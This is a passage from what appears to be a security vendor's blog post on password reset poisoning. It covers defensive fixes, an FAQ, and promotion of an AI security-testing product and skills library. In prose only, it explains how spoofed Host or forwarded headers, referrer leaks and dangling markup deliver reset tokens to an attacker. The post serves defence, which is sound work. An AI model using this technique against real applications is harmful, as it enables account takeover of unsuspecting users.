    Fix the URL construction first, then reduce what a leaked token is worth. The two layers matter independently, because the second one contains the referrer and markup paths that the first one does not touch.

    • Build absolute URLs from server configuration. Store the canonical origin as a setting, for example BASE_URL=https://acmenotes.example, and build every email link and redirect from it. No request header should ever appear in a link the application mails out.
    • Treat Host and every forwarded header as untrusted input. That includes X-Forwarded-Host, X-Host, X-Forwarded-Server, and Forwarded. Strip them at the edge unless they come from a proxy you operate, and set your framework’s trusted host list explicitly.
    • Allowlist the host at the edge. Reject any request whose host is not a known domain with a 400 before application code runs. This gives you one enforcement point instead of relying on every mailer to behave.
    • Make tokens single use, short lived, and bound to one account. Delete or mark the token the instant it is redeemed, expire it in minutes rather than days, and check on redemption that it belongs to the account being changed. A token that dies on first use is worth far less in an attacker’s log.
    • Set a strict referrer policy on reset pages. Send Referrer-Policy: no-referrer on the reset route so no outbound request carries the token bearing URL.
    • Load nothing third party on the reset page. No analytics, no fonts, no widgets, no external images. Keep the page as close to static first party HTML as you can, and add a content security policy that forbids outside origins.
    • Prefer a one time code or a POST body over a token in the query string. A value the user types, or one carried in a request body, never enters the address bar and so never enters a referrer.
    • Invalidate every session after a successful reset. If an attacker did get in, ending all existing sessions and requiring a fresh login limits how long they keep the account.
    • Watch for open redirects on the reset route. A redirect parameter that forwards the token onward reproduces the whole bug with a correct hostname, which is why open redirects deserve attention on authentication paths specifically.

    Why does this survive code review?

    Because nothing in the reset code looks wrong when you read it in isolation. The token generator uses a good random source. The email template is fine. The redemption endpoint checks expiry. The flaw lives in the gap between two reasonable assumptions: that the request tells the truth about where the site lives, and that a URL in a browser address bar stays private. Neither assumption is written down anywhere, so neither gets reviewed.

    Finding it means understanding what the reset flow assumes and then testing those assumptions one at a time, which is exactly the work an autonomous researcher built to probe an application’s assumptions is meant to do rather than firing a fixed payload list at an endpoint. You can read more about that approach on our about page.

    Frequently asked questions

    What is password reset poisoning?

    It is an account takeover technique where an attacker triggers a password reset for a victim and manipulates the request so the link in the email points at a host the attacker controls. The email is genuine, sent by the real application to the real address, so when the victim clicks it the valid reset token is delivered to the attacker.

    Why does the reset link end up on the attacker’s domain?

    Because the application builds the absolute URL from a request header such as Host, or from a forwarded host header added by a proxy, instead of from server configuration. Those headers are written by the client, so whatever value the attacker sends becomes the base of the link the mailer builds.

    Can a reset token leak even when the link is correct?

    Yes. If the reset page loads any third party resource, the browser sends the full token bearing URL in the Referer header to that vendor. An unescaped reflection on the same page can also leak it through dangling markup, where an unclosed attribute swallows nearby content into an outbound request.

    How do you prevent password reset poisoning?

    Build every absolute URL from server side configuration and never from a request header, allowlist the host at the edge, and make tokens single use, short lived, and bound to one account. Then set a strict referrer policy on the reset page, load nothing third party on it, and invalidate all sessions once a reset succeeds.


    Put an autonomous researcher on your own systems

    UnboundCompute is an autonomous security researcher that reasons about how an application fits together and proves the access control and injection bugs it finds. We are opening a small number of founding design partner seats: private early access pointed at a staging target you choose, and a say in what it looks for. If your team ships software worth pressure testing, apply to the design partner program.

    Free and open source: the security-agent-skills library packages 33 tool-agnostic security-testing skills for AI coding agents, encoding the testing method behind attacks like the one in this post. Read how it works or get it on GitHub.